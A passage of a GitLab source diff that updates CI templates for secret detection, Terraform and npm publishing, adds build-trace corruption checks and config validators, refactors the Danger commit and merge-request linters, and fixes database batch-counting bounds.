@@ -14,6 +14,9 @@ variables:
stage: test
image: "$SECURE_ANALYZERS_PREFIX/secrets:$SECRETS_ANALYZER_VERSION"
services: []
+ allow_failure: true
+ # `rules` must be overridden explicitly by each child job
+ # see https://gitlab.com/gitlab-org/gitlab/-/issues/218444
artifacts:
reports:
secret_detection: gl-secret-detection-report.json
diff --git a/lib/gitlab/ci/templates/Terraform/Base.latest.gitlab-ci.yml b/lib/gitlab/ci/templates/Terraform/Base.latest.gitlab-ci.yml
index e455bfac9de..910e711f046 100644
--- a/lib/gitlab/ci/templates/Terraform/Base.latest.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Terraform/Base.latest.gitlab-ci.yml
@@ -56,5 +56,6 @@ cache:
.destroy: &destroy
stage: cleanup
script:
+ - cd ${TF_ROOT}
- gitlab-terraform destroy
when: manual
diff --git a/lib/gitlab/ci/templates/npm.gitlab-ci.yml b/lib/gitlab/ci/templates/npm.gitlab-ci.yml
index 0a739cf122d..035ba52da84 100644
--- a/lib/gitlab/ci/templates/npm.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/npm.gitlab-ci.yml
@@ -55,5 +55,5 @@ publish_package:
npm publish &&
echo "Successfully published version ${NPM_PACKAGE_VERSION} of ${NPM_PACKAGE_NAME} to GitLab's NPM registry: ${CI_PROJECT_URL}/-/packages"
} || {
- echo "No new version of ${NPM_PACKAGE_NAME} published. This is most likely because version ${NPM_PACKAGE_VERSION} already exists in GitLab's NPM registry."; exit 1
+ echo "No new version of ${NPM_PACKAGE_NAME} published. This is most likely because version ${NPM_PACKAGE_VERSION} already exists in GitLab's NPM registry."
}
diff --git a/lib/gitlab/ci/templates/npm.latest.gitlab-ci.yml b/lib/gitlab/ci/templates/npm.latest.gitlab-ci.yml
new file mode 100644
index 00000000000..536cf9bd8d8
--- /dev/null
+++ b/lib/gitlab/ci/templates/npm.latest.gitlab-ci.yml
@@ -0,0 +1,41 @@
+publish:
+ image: node:latest
+ stage: deploy
+ rules:
+ - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH || $CI_COMMIT_REF_NAME =~ /^v\d+\.\d+\.\d+.*$/
+ changes:
+ - package.json
+ script:
+ # If no .npmrc if included in the repo, generate a temporary one that is configured to publish to GitLab's NPM registry
+ - |
+ if [[ ! -f .npmrc ]]; then
+ echo 'No .npmrc found! Creating one now. Please review the following link for more information: https://docs.gitlab.com/ee/user/packages/npm_registry/index.html#project-level-npm-endpoint-1'
+ {
+ echo "@${CI_PROJECT_ROOT_NAMESPACE}:registry=${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/npm/"
+ echo "${CI_API_V4_URL#http*:}/projects/${CI_PROJECT_ID}/packages/npm/:_authToken=\${CI_JOB_TOKEN}"
+ } >> .npmrc
+ fi
+ - echo "Created the following .npmrc:"; cat .npmrc
+
+ # Extract a few values from package.json
+ - NPM_PACKAGE_NAME=$(node -p "require('./package.json').name")
+ - NPM_PACKAGE_VERSION=$(node -p "require('./package.json').version")
+
+ # Validate that the package name is properly scoped to the project's root namespace.
+ # For more information, see https://docs.gitlab.com/ee/user/packages/npm_registry/#package-naming-convention
+ - |
+ if [[ ! $NPM_PACKAGE_NAME =~ ^@$CI_PROJECT_ROOT_NAMESPACE/ ]]; then
+ echo "Invalid package scope! Packages must be scoped in the root namespace of the project, e.g. \"@${CI_PROJECT_ROOT_NAMESPACE}/${CI_PROJECT_NAME}\""
+ echo 'For more information, see https://docs.gitlab.com/ee/user/packages/npm_registry/#package-naming-convention'
+ exit 1
+ fi
+
+ # Compare the version in package.json to all published versions.
+ # If the package.json version has not yet been published, run `npm publish`.
+ - |
+ if [[ $(npm view "${NPM_PACKAGE_NAME}" versions) != *"'${NPM_PACKAGE_VERSION}'"* ]]; then
+ npm publish
+ echo "Successfully published version ${NPM_PACKAGE_VERSION} of ${NPM_PACKAGE_NAME} to GitLab's NPM registry: ${CI_PROJECT_URL}/-/packages"
+ else
+ echo "Version ${NPM_PACKAGE_VERSION} of ${NPM_PACKAGE_NAME} has already been published, so no new version has been published."
+ fi
diff --git a/lib/gitlab/ci/trace/checksum.rb b/lib/gitlab/ci/trace/checksum.rb
index 62532ef1cd2..7cdb6a6c03c 100644
--- a/lib/gitlab/ci/trace/checksum.rb
+++ b/lib/gitlab/ci/trace/checksum.rb
@@ -64,10 +64,33 @@ module Gitlab
end
end
+ def state_bytesize
+ strong_memoize(:state_bytesize) do
+ build.pending_state&.trace_bytesize
+ end
+ end
+
+ def trace_size
+ strong_memoize(:trace_size) do
+ trace_chunks.sum { |chunk| chunk_size(chunk) }
+ end
+ end
+
+ def corrupted?
+ return false unless has_bytesize?
+ return false if valid?
+
+ state_bytesize.to_i != trace_size.to_i
+ end
+
def chunks_count
trace_chunks.to_a.size
end
+ def has_bytesize?
+ state_bytesize.present?
+ end
+
private
def chunk_size(chunk)
diff --git a/lib/gitlab/ci/trace/metrics.rb b/lib/gitlab/ci/trace/metrics.rb
index 097436d84ea..ce9efbda7ea 100644
--- a/lib/gitlab/ci/trace/metrics.rb
+++ b/lib/gitlab/ci/trace/metrics.rb
@@ -18,7 +18,8 @@ module Gitlab
:conflict, # runner has sent unrecognized build state details
:locked, # build trace has been locked by a different mechanism
:stalled, # failed to migrate chunk due to a worker duplication
- :invalid # malformed build trace has been detected using CRC32
+ :invalid, # invalid build trace has been detected using CRC32
+ :corrupted # malformed trace found after comparing CRC32 and size
].freeze
def increment_trace_operation(operation: :unknown)
diff --git a/lib/gitlab/ci/yaml_processor/result.rb b/lib/gitlab/ci/yaml_processor/result.rb
index 52a00e41214..cd7d781a574 100644
--- a/lib/gitlab/ci/yaml_processor/result.rb
+++ b/lib/gitlab/ci/yaml_processor/result.rb
@@ -77,6 +77,7 @@ module Gitlab
options: {
image: job[:image],
services: job[:services],
+ allow_failure_criteria: job[:allow_failure_criteria],
artifacts: job[:artifacts],
dependencies: job[:dependencies],
cross_dependencies: job.dig(:needs, :cross_dependency),
diff --git a/lib/gitlab/config/entry/validators.rb b/lib/gitlab/config/entry/validators.rb
index 2a386657e0b..88786ed82ff 100644
--- a/lib/gitlab/config/entry/validators.rb
+++ b/lib/gitlab/config/entry/validators.rb
@@ -134,6 +134,16 @@ module Gitlab
end
end
+ class HashOrBooleanValidator < ActiveModel::EachValidator
+ include LegacyValidationHelpers
+
+ def validate_each(record, attribute, value)
+ unless value.is_a?(Hash) || validate_boolean(value)
+ record.errors.add(attribute, 'should be a hash or a boolean value')
+ end
+ end
+ end
+
class KeyValidator < ActiveModel::EachValidator
include LegacyValidationHelpers
@@ -158,6 +168,22 @@ module Gitlab
end
end
+ class ArrayOfIntegersOrIntegerValidator < ActiveModel::EachValidator
+ include LegacyValidationHelpers
+
+ def validate_each(record, attribute, value)
+ unless validate_integer(value) || validate_array_of_integers(value)
+ record.errors.add(attribute, 'should be an array of integers or an integer')
+ end
+ end
+
+ private
+
+ def validate_array_of_integers(values)
+ values.is_a?(Array) && values.all? { |value| validate_integer(value) }
+ end
+ end
+
class RegexpValidator < ActiveModel::EachValidator
include LegacyValidationHelpers
diff --git a/lib/gitlab/cycle_analytics/builds_event_helper.rb b/lib/gitlab/cycle_analytics/builds_event_helper.rb
index 0d6f32fdc6f..c39d41578e9 100644
--- a/lib/gitlab/cycle_analytics/builds_event_helper.rb
+++ b/lib/gitlab/cycle_analytics/builds_event_helper.rb
@@ -3,11 +3,11 @@
module Gitlab
module CycleAnalytics
module BuildsEventHelper
- def initialize(*args)
+ def initialize(...)
@projections = [build_table[:id]]
@order = build_table[:created_at]
- super(*args)
+ super(...)
end
def fetch
diff --git a/lib/gitlab/cycle_analytics/code_event_fetcher.rb b/lib/gitlab/cycle_analytics/code_event_fetcher.rb
index d75da76415a..790bf32c6c7 100644
--- a/lib/gitlab/cycle_analytics/code_event_fetcher.rb
+++ b/lib/gitlab/cycle_analytics/code_event_fetcher.rb
@@ -5,7 +5,7 @@ module Gitlab
class CodeEventFetcher < BaseEventFetcher
include CodeHelper
- def initialize(*args)
+ def initialize(...)
@projections = [mr_table[:title],
mr_table[:iid],
mr_table[:id],
@@ -14,7 +14,7 @@ module Gitlab
mr_table[:author_id]]
@order = mr_table[:created_at]
- super(*args)
+ super(...)
end
private
diff --git a/lib/gitlab/cycle_analytics/issue_event_fetcher.rb b/lib/gitlab/cycle_analytics/issue_event_fetcher.rb
index 6914cf24c19..fd04ec090b3 100644
--- a/lib/gitlab/cycle_analytics/issue_event_fetcher.rb
+++ b/lib/gitlab/cycle_analytics/issue_event_fetcher.rb
@@ -5,14 +5,14 @@ module Gitlab
class IssueEventFetcher < BaseEventFetcher
include IssueHelper
- def initialize(*args)
+ def initialize(...)
@projections = [issue_table[:title],
issue_table[:iid],
issue_table[:id],
issue_table[:created_at],
issue_table[:author_id]]
- super(*args)
+ super(...)
end
private
diff --git a/lib/gitlab/cycle_analytics/permissions.rb b/lib/gitlab/cycle_analytics/permissions.rb
index 55214e6b896..0e094fabb01 100644
--- a/lib/gitlab/cycle_analytics/permissions.rb
+++ b/lib/gitlab/cycle_analytics/permissions.rb
@@ -12,8 +12,8 @@ module Gitlab
production: :read_issue
}.freeze
- def self.get(*args)
- new(*args).get
+ def self.get(...)
+ new(...).get
end
def initialize(user:, project:)
diff --git a/lib/gitlab/cycle_analytics/plan_event_fetcher.rb b/lib/gitlab/cycle_analytics/plan_event_fetcher.rb
index bad02e00a13..4d98d589e46 100644
--- a/lib/gitlab/cycle_analytics/plan_event_fetcher.rb
+++ b/lib/gitlab/cycle_analytics/plan_event_fetcher.rb
@@ -5,14 +5,14 @@ module Gitlab
class PlanEventFetcher < BaseEventFetcher
include PlanHelper
- def initialize(*args)
+ def initialize(...)
@projections = [issue_table[:title],
issue_table[:iid],
issue_table[:id],
issue_table[:created_at],
issue_table[:author_id]]
- super(*args)
+ super(...)
end
private
diff --git a/lib/gitlab/cycle_analytics/production_event_fetcher.rb b/lib/gitlab/cycle_analytics/production_event_fetcher.rb
index 8843ab2bcb9..5fa286bd3df 100644
--- a/lib/gitlab/cycle_analytics/production_event_fetcher.rb
+++ b/lib/gitlab/cycle_analytics/production_event_fetcher.rb
@@ -5,7 +5,7 @@ module Gitlab
class ProductionEventFetcher < BaseEventFetcher
include ProductionHelper
- def initialize(*args)
+ def initialize(...)
@projections = [issue_table[:title],
issue_table[:iid],
issue_table[:id],
@@ -13,7 +13,7 @@ module Gitlab
issue_table[:author_id],
routes_table[:path]]
- super(*args)
+ super(...)
end
private
diff --git a/lib/gitlab/cycle_analytics/review_event_fetcher.rb b/lib/gitlab/cycle_analytics/review_event_fetcher.rb
index f5f8c19683d..0b7d160c7de 100644
--- a/lib/gitlab/cycle_analytics/review_event_fetcher.rb
+++ b/lib/gitlab/cycle_analytics/review_event_fetcher.rb
@@ -5,7 +5,7 @@ module Gitlab
class ReviewEventFetcher < BaseEventFetcher
include ReviewHelper
- def initialize(*args)
+ def initialize(...)
@projections = [mr_table[:title],
mr_table[:iid],
mr_table[:id],
@@ -13,7 +13,7 @@ module Gitlab
mr_table[:state_id],
mr_table[:author_id]]
- super(*args)
+ super(...)
end
private
diff --git a/lib/gitlab/cycle_analytics/updater.rb b/lib/gitlab/cycle_analytics/updater.rb
index c642809a792..5be351989e0 100644
--- a/lib/gitlab/cycle_analytics/updater.rb
+++ b/lib/gitlab/cycle_analytics/updater.rb
@@ -3,8 +3,8 @@
module Gitlab
module CycleAnalytics
class Updater
- def self.update!(*args)
- new(*args).update!
+ def self.update!(...)
+ new(...).update!
end
def initialize(event_result, from:, to:, klass:)
diff --git a/lib/gitlab/cycle_analytics/usage_data.rb b/lib/gitlab/cycle_analytics/usage_data.rb
deleted file mode 100644
index e58def57e69..00000000000
--- a/lib/gitlab/cycle_analytics/usage_data.rb
+++ /dev/null
@@ -1,91 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module CycleAnalytics
- class UsageData
- include Gitlab::Utils::StrongMemoize
- PROJECTS_LIMIT = 10
-
- attr_reader :options
-
- def initialize
- @options = { from: 7.days.ago }
- end
-
- def projects
- strong_memoize(:projects) do
- projects = Project.where.not(last_activity_at: nil).order(last_activity_at: :desc).limit(10) +
- Project.where.not(last_repository_updated_at: nil).order(last_repository_updated_at: :desc).limit(10)
-
- projects = projects.uniq.sort_by do |project|
- [project.last_activity_at, project.last_repository_updated_at].min
- end
-
- if projects.size < 10
- projects.concat(Project.where(last_activity_at: nil, last_repository_updated_at: nil).limit(10))
- end
-
- projects.uniq.first(10)
- end
- end
-
- def to_json(*)
- total = 0
-
- values =
- medians_per_stage.each_with_object({}) do |(stage_name, medians), hsh|
- calculations = stage_values(medians)
-
- total += calculations.values.compact.sum
- hsh[stage_name] = calculations
- end
-
- values[:total] = total
-
- { avg_cycle_analytics: values }
- end
-
- private
-
- def medians_per_stage
- projects.each_with_object({}) do |project, hsh|
- ::CycleAnalytics::ProjectLevel.new(project, options: options).all_medians_by_stage.each do |stage_name, median|
- hsh[stage_name] ||= []
- hsh[stage_name] << median
- end
- end
- end
-
- def stage_values(medians)
- medians = medians.map(&:presence).compact
- average = calc_average(medians)
-
- {
- average: average,
- sd: standard_deviation(medians, average),
- missing: projects.length - medians.length
- }
- end
-
- def calc_average(values)
- return if values.empty?
-
- (values.sum / values.length).to_i
- end
-
- def standard_deviation(values, average)
- Math.sqrt(sample_variance(values, average)).to_i
- end
-
- def sample_variance(values, average)
- return 0 if values.length <= 1
-
- sum = values.inject(0) do |acc, val|
- acc + (val - average)**2
- end
-
- sum / (values.length - 1)
- end
- end
- end
-end
diff --git a/lib/gitlab/danger/base_linter.rb b/lib/gitlab/danger/base_linter.rb
new file mode 100644
index 00000000000..df2e9e745aa
--- /dev/null
+++ b/lib/gitlab/danger/base_linter.rb
@@ -0,0 +1,95 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Danger
+ class BaseLinter
+ MIN_SUBJECT_WORDS_COUNT = 3
+ MAX_LINE_LENGTH = 72
+ WIP_PREFIX = 'WIP: '
+
+ attr_reader :commit, :problems
+
+ def self.problems_mapping
+ {
+ subject_too_short: "The %s must contain at least #{MIN_SUBJECT_WORDS_COUNT} words",
+ subject_too_long: "The %s may not be longer than #{MAX_LINE_LENGTH} characters",
+ subject_starts_with_lowercase: "The %s must start with a capital letter",
+ subject_ends_with_a_period: "The %s must not end with a period"
+ }
+ end
+
+ def self.subject_description
+ 'commit subject'
+ end
+
+ def initialize(commit)
+ @commit = commit
+ @problems = {}
+ end
+
+ def failed?
+ problems.any?
+ end
+
+ def add_problem(problem_key, *args)
+ @problems[problem_key] = sprintf(self.class.problems_mapping[problem_key], *args)
+ end
+
+ def lint_subject
+ if subject_too_short?
+ add_problem(:subject_too_short, self.class.subject_description)
+ end
+
+ if subject_too_long?
+ add_problem(:subject_too_long, self.class.subject_description)
+ end
+
+ if subject_starts_with_lowercase?
+ add_problem(:subject_starts_with_lowercase, self.class.subject_description)
+ end
+
+ if subject_ends_with_a_period?
+ add_problem(:subject_ends_with_a_period, self.class.subject_description)
+ end
+
+ self
+ end
+
+ private
+
+ def subject
+ message_parts[0].delete_prefix(WIP_PREFIX)
+ end
+
+ def subject_too_short?
+ subject.split(' ').length < MIN_SUBJECT_WORDS_COUNT
+ end
+
+ def subject_too_long?
+ line_too_long?(subject)
+ end
+
+ def line_too_long?(line)
+ line.length > MAX_LINE_LENGTH
+ end
+
+ def subject_starts_with_lowercase?
+ return false if ('A'..'Z').cover?(subject[0])
+
+ first_char = subject.sub(/\A(\[.+\]|\w+:)\s/, '')[0]
+ first_char_downcased = first_char.downcase
+ return true unless ('a'..'z').cover?(first_char_downcased)
+
+ first_char.downcase == first_char
+ end
+
+ def subject_ends_with_a_period?
+ subject.end_with?('.')
+ end
+
+ def message_parts
+ @message_parts ||= commit.message.split("\n", 3)
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/danger/changelog.rb b/lib/gitlab/danger/changelog.rb
index 607ca1200a0..92af6849b2f 100644
--- a/lib/gitlab/danger/changelog.rb
+++ b/lib/gitlab/danger/changelog.rb
@@ -39,6 +39,7 @@ module Gitlab
def required?
git.added_files.any? { |path| path =~ %r{\Adb/(migrate|post_migrate)/} }
end
+ alias_method :db_changes?, :required?
def optional?
categories_need_changelog? && without_no_changelog_label?
diff --git a/lib/gitlab/danger/commit_linter.rb b/lib/gitlab/danger/commit_linter.rb
index 2e469359bdc..7e2e0fb0acb 100644
--- a/lib/gitlab/danger/commit_linter.rb
+++ b/lib/gitlab/danger/commit_linter.rb
@@ -1,40 +1,37 @@
# frozen_string_literal: true
+require_relative 'base_linter'
+
emoji_checker_path = File.expand_path('emoji_checker', __dir__)
defined?(Rails) ? require_dependency(emoji_checker_path) : require_relative(emoji_checker_path)
module Gitlab
module Danger
- class CommitLinter
- MIN_SUBJECT_WORDS_COUNT = 3
- MAX_LINE_LENGTH = 72
+ class CommitLinter < BaseLinter
MAX_CHANGED_FILES_IN_COMMIT = 3
MAX_CHANGED_LINES_IN_COMMIT = 30
SHORT_REFERENCE_REGEX = %r{([\w\-\/]+)?(?<!`)(#|!|&|%)\d+(?<!`)}.freeze
- DEFAULT_SUBJECT_DESCRIPTION = 'commit subject'
- WIP_PREFIX = 'WIP: '
- PROBLEMS = {
- subject_too_short: "The %s must contain at least #{MIN_SUBJECT_WORDS_COUNT} words",
- subject_too_long: "The %s may not be longer than #{MAX_LINE_LENGTH} characters",
- subject_starts_with_lowercase: "The %s must start with a capital letter",
- subject_ends_with_a_period: "The %s must not end with a period",
- separator_missing: "The commit subject and body must be separated by a blank line",
- details_too_many_changes: "Commits that change #{MAX_CHANGED_LINES_IN_COMMIT} or more lines across " \
+
+ def self.problems_mapping
+ super.merge(
+ {
+ separator_missing: "The commit subject and body must be separated by a blank line",
+ details_too_many_changes: "Commits that change #{MAX_CHANGED_LINES_IN_COMMIT} or more lines across " \
"at least #{MAX_CHANGED_FILES_IN_COMMIT} files must describe these changes in the commit body",
- details_line_too_long: "The commit body should not contain more than #{MAX_LINE_LENGTH} characters per line",
- message_contains_text_emoji: "Avoid the use of Markdown Emoji such as `:+1:`. These add limited value " \
+ details_line_too_long: "The commit body should not contain more than #{MAX_LINE_LENGTH} characters per line",
+ message_contains_text_emoji: "Avoid the use of Markdown Emoji such as `:+1:`. These add limited value " \
"to the commit message, and are displayed as plain text outside of GitLab",
- message_contains_unicode_emoji: "Avoid the use of Unicode Emoji. These add no value to the commit " \
+ message_contains_unicode_emoji: "Avoid the use of Unicode Emoji. These add no value to the commit " \
"message, and may not be displayed properly everywhere",
- message_contains_short_reference: "Use full URLs instead of short references (`gitlab-org/gitlab#123` or " \
+ message_contains_short_reference: "Use full URLs instead of short references (`gitlab-org/gitlab#123` or " \
"`!123`), as short references are displayed as plain text outside of GitLab"
- }.freeze
-
- attr_reader :commit, :problems
+ }
+ )
+ end
def initialize(commit)
- @commit = commit
- @problems = {}
+ super
+
@linted = false
end
@@ -58,19 +55,11 @@ module Gitlab
!details.nil? && !details.empty?
end
- def failed?
- problems.any?
- end
-
- def add_problem(problem_key, *args)
- @problems[problem_key] = sprintf(PROBLEMS[problem_key], *args)
- end
-
- def lint(subject_description = "commit subject")
+ def lint
return self if @linted
@linted = true
- lint_subject(subject_description)
+ lint_subject
lint_separator
lint_details
lint_message
@@ -78,26 +67,6 @@ module Gitlab
self
end
- def lint_subject(subject_description)
- if subject_too_short?
- add_problem(:subject_too_short, subject_description)
- end
-
- if subject_too_long?
- add_problem(:subject_too_long, subject_description)
- end
-
- if subject_starts_with_lowercase?
- add_problem(:subject_starts_with_lowercase, subject_description)
- end
-
- if subject_ends_with_a_period?
- add_problem(:subject_ends_with_a_period, subject_description)
- end
-
- self
- end
-
private
def lint_separator
@@ -114,15 +83,11 @@ module Gitlab
end
details&.each_line do |line|
- line = line.strip
-
- next unless line_too_long?(line)
-
- url_size = line.scan(%r((https?://\S+))).sum { |(url)| url.length }
+ line_without_urls = line.strip.gsub(%r{https?://\S+}, '')
# If the line includes a URL, we'll allow it to exceed MAX_LINE_LENGTH characters, but
# only if the line _without_ the URL does not exceed this limit.
- next unless line_too_long?(line.length - url_size)
+ next unless line_too_long?(line_without_urls)
add_problem(:details_line_too_long)
break
@@ -159,10 +124,6 @@ module Gitlab
files_changed > MAX_CHANGED_FILES_IN_COMMIT && lines_changed > MAX_CHANGED_LINES_IN_COMMIT
end
- def subject
- message_parts[0].delete_prefix(WIP_PREFIX)
- end
-
def separator
message_parts[1]
end
@@ -171,37 +132,6 @@ module Gitlab
message_parts[2]&.gsub(/^Signed-off-by.*$/, '')
end
- def line_too_long?(line)
- case line
- when String
- line.length > MAX_LINE_LENGTH
- when Integer
- line > MAX_LINE_LENGTH
- else
- raise ArgumentError, "The line argument (#{line}) should be a String or an Integer! #{line.class} given."
- end
- end
-
- def subject_too_short?
- subject.split(' ').length < MIN_SUBJECT_WORDS_COUNT
- end
-
- def subject_too_long?
- line_too_long?(subject)
- end
-
- def subject_starts_with_lowercase?
- first_char = subject.sub(/\A(\[.+\]|\w+:)\s/, '')[0]
- first_char_downcased = first_char.downcase
- return true unless ('a'..'z').cover?(first_char_downcased)
-
- first_char.downcase == first_char
- end
-
- def subject_ends_with_a_period?
- subject.end_with?('.')
- end
-
def message_contains_text_emoji?
emoji_checker.includes_text_emoji?(commit.message)
end
@@ -217,10 +147,6 @@ module Gitlab
def emoji_checker
@emoji_checker ||= Gitlab::Danger::EmojiChecker.new
end
-
- def message_parts
- @message_parts ||= commit.message.split("\n", 3)
- end
end
end
end
diff --git a/lib/gitlab/danger/helper.rb b/lib/gitlab/danger/helper.rb
index 89f21e8bd23..d22f28ff7f2 100644
--- a/lib/gitlab/danger/helper.rb
+++ b/lib/gitlab/danger/helper.rb
@@ -64,7 +64,7 @@ module Gitlab
# - respond_to?(:gitlab)
# - respond_to?(:gitlab, true)
gitlab
- rescue NoMethodError
+ rescue NameError
nil
end
@@ -268,6 +268,10 @@ module Gitlab
def has_database_scoped_labels?(current_mr_labels)
current_mr_labels.any? { |label| label.start_with?('database::') }
end
+
+ def has_ci_changes?
+ changed_files(%r{\A(\.gitlab-ci\.yml|\.gitlab/ci/)}).any?
+ end
end
end
end
diff --git a/lib/gitlab/danger/merge_request_linter.rb b/lib/gitlab/danger/merge_request_linter.rb
new file mode 100644
index 00000000000..d401d332aa7
--- /dev/null
+++ b/lib/gitlab/danger/merge_request_linter.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+require_relative 'base_linter'
+
+module Gitlab
+ module Danger
+ class MergeRequestLinter < BaseLinter
+ alias_method :lint, :lint_subject
+
+ def self.subject_description
+ 'merge request title'
+ end
+
+ def self.mr_run_options_regex
+ [
+ 'RUN AS-IF-FOSS',
+ 'UPDATE CACHE',
+ 'RUN ALL RSPEC',
+ 'SKIP RSPEC FAIL-FAST'
+ ].join('|')
+ end
+
+ private
+
+ def subject
+ super.gsub(/\[?(#{self.class.mr_run_options_regex})\]?/, '').strip
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/danger/roulette.rb b/lib/gitlab/danger/roulette.rb
index 23f877b4e0f..328083f7002 100644
--- a/lib/gitlab/danger/roulette.rb
+++ b/lib/gitlab/danger/roulette.rb
@@ -24,7 +24,7 @@ module Gitlab
#
# @return [Array<Spin>]
def spin(project, categories, timezone_experiment: false)
- spins = categories.map do |category|
+ spins = categories.sort.map do |category|
including_timezone = INCLUDE_TIMEZONE_FOR_CATEGORY.fetch(category, timezone_experiment)
spin_for_category(project, category, timezone_experiment: including_timezone)
diff --git a/lib/gitlab/database/batch_count.rb b/lib/gitlab/database/batch_count.rb
index 6f79e965cd5..5a506da0d05 100644
--- a/lib/gitlab/database/batch_count.rb
+++ b/lib/gitlab/database/batch_count.rb
@@ -49,6 +49,8 @@ module Gitlab
MAX_ALLOWED_LOOPS = 10_000
SLEEP_TIME_IN_SECONDS = 0.01 # 10 msec sleep
ALLOWED_MODES = [:itself, :distinct].freeze
+ FALLBACK_FINISH = 0
+ OFFSET_BY_ONE = 1
# Each query should take < 500ms https://gitlab.com/gitlab-org/gitlab/-/merge_requests/22705
DEFAULT_DISTINCT_BATCH_SIZE = 10_000
@@ -65,7 +67,7 @@ module Gitlab
(@operation == :count && batch_size <= MIN_REQUIRED_BATCH_SIZE) ||
(@operation == :sum && batch_size < DEFAULT_SUM_BATCH_SIZE) ||
(finish - start) / batch_size >= MAX_ALLOWED_LOOPS ||
- start > finish
+ start >= finish
end
def count(batch_size: nil, mode: :itself, start: nil, finish: nil)
@@ -85,11 +87,13 @@ module Gitlab
results = nil
batch_start = start
- while batch_start <= finish
- batch_relation = build_relation_batch(batch_start, batch_start + batch_size, mode)
+ while batch_start < finish
+ batch_end = [batch_start + batch_size, finish].min
+ batch_relation = build_relation_batch(batch_start, batch_end, mode)
+
begin
results = merge_results(results, batch_relation.send(@operation, *@operation_args)) # rubocop:disable GitlabSecurity/PublicSend
- batch_start += batch_size
+ batch_start = batch_end
rescue ActiveRecord::QueryCanceled => error
# retry with a safe batch size & warmer cache
if batch_size >= 2 * MIN_REQUIRED_BATCH_SIZE
@@ -99,6 +103,7 @@ module Gitlab
return FALLBACK
end
end
+
sleep(SLEEP_TIME_IN_SECONDS)
end
@@ -138,7 +143,7 @@ module Gitlab
end
def actual_finish(finish)
- finish || @relation.unscope(:group, :having).maximum(@column) || 0
+ (finish || @relation.unscope(:group, :having).maximum(@column) || FALLBACK_FINISH) + OFFSET_BY_ONE
end
def check_mode!(mode)
diff --git a/lib/gitlab/database/migrations/background_migration_helpers.rb b/lib/gitlab/database/migrations/background_migration_helpers.rb
index a6cc03aa9eb..36073844765 100644
--- a/lib/gitlab/database/migrations/background_migration_helpers.rb
+++ b/lib/gitlab/database/migrations/background_migration_helpers.rb
@@ -55,7 +55,8 @@ module Gitlab
bulk_migrate_async(jobs) unless jobs.empty?
end
- # Queues background migration jobs for an entire table, batched by ID range.
+ # Queues background migration jobs for an entire table in batches.
+ # The default batching column used is the standard primary key `id`.
# Each job is scheduled with a `delay_interval` in between.
# If you use a small interval, then some jobs may run at the same time.
#
@@ -68,6 +69,7 @@ module Gitlab
# is scheduled to be run. These records can be used to trace execution of the background job, but there is no
# builtin support to manage that automatically at this time. You should only set this flag if you are aware of
# how it works, and intend to manually cleanup the database records in your background job.
+ # primary_column_name - The name of the primary key column if the primary key is not `id`
#
# *Returns the final migration delay*
#
@@ -87,8 +89,9 @@ module Gitlab
# # do something
# end
# end
- def queue_background_migration_jobs_by_range_at_intervals(model_class, job_class_name, delay_interval, batch_size: BACKGROUND_MIGRATION_BATCH_SIZE, other_job_arguments: [], initial_delay: 0, track_jobs: false)
- raise "#{model_class} does not have an ID to use for batch ranges" unless model_class.column_names.include?('id')
+ def queue_background_migration_jobs_by_range_at_intervals(model_class, job_class_name, delay_interval, batch_size: BACKGROUND_MIGRATION_BATCH_SIZE, other_job_arguments: [], initial_delay: 0, track_jobs: false, primary_column_name: :id)
+ raise "#{model_class} does not have an ID column of #{primary_column_name} to use for batch ranges" unless model_class.column_names.include?(primary_column_name.to_s)
+ raise "#{primary_column_name} is not an integer column" unless model_class.columns_hash[primary_column_name.to_s].type == :integer
# To not overload the worker too much we enforce a minimum interval both
# when scheduling and performing jobs.
@@ -99,7 +102,7 @@ module Gitlab
final_delay = 0
model_class.each_batch(of: batch_size) do |relation, index|
- start_id, end_id = relation.pluck(Arel.sql('MIN(id), MAX(id)')).first
+ start_id, end_id = relation.pluck(Arel.sql("MIN(#{primary_column_name}), MAX(#{primary_column_name})")).first
# `BackgroundMigrationWorker.bulk_perform_in` schedules all jobs for
# the same time, which is not helpful in most cases where we wish to
diff --git a/lib/gitlab/database/postgres_hll/batch_distinct_counter.rb b/lib/gitlab/database/postgres_hll/batch_distinct_counter.rb
new file mode 100644
index 00000000000..33faa2ef1b0
--- /dev/null
+++ b/lib/gitlab/database/postgres_hll/batch_distinct_counter.rb
@@ -0,0 +1,159 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ module PostgresHll
+ # For large tables, PostgreSQL can take a long time to count rows due to MVCC.
+ # Implements a distinct batch counter based on HyperLogLog algorithm
+ # Needs indexes on the column below to calculate max, min and range queries
+ # For larger tables just set higher batch_size with index optimization
+ #
+ # In order to not use a possible complex time consuming query when calculating min and max values,
+ # the start and finish can be sent specifically, start and finish should contain max and min values for PRIMARY KEY of
+ # relation (most cases `id` column) rather than counted attribute eg:
+ # estimate_distinct_count(start: ::Project.with_active_services.minimum(:id), finish: ::Project.with_active_services.maximum(:id))
+ #
+ # Grouped relations are NOT supported yet.
+ #
+ # @example Usage
+ # ::Gitlab::Database::PostgresHllBatchDistinctCount.new(::Project, :creator_id).estimate_distinct_count
+ # ::Gitlab::Database::PostgresHllBatchDistinctCount.new(::Project.with_active_services.service_desk_enabled.where(time_period))
+ # .estimate_distinct_count(
+ # batch_size: 1_000,
+ # start: ::Project.with_active_services.service_desk_enabled.where(time_period).minimum(:id),
+ # finish: ::Project.with_active_services.service_desk_enabled.where(time_period).maximum(:id)
+ # )
+ #
+ # @note HyperLogLog is an PROBABILISTIC algorithm that ESTIMATES distinct count of given attribute value for supplied relation
+ # Like all probabilistic algorithm is has ERROR RATE margin, that can affect values,
+ # for given implementation no higher value was reported (https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45673#accuracy-estimation) than 5.3%
+ # for the most of a cases this value is lower. However, if the exact value is necessary other tools has to be used.
+ class BatchDistinctCounter
+ ERROR_RATE = 4.9 # max encountered empirical error rate, used in tests
+ FALLBACK = -1
+ MIN_REQUIRED_BATCH_SIZE = 750
+ SLEEP_TIME_IN_SECONDS = 0.01 # 10 msec sleep
+ MAX_DATA_VOLUME = 4_000_000_000
+
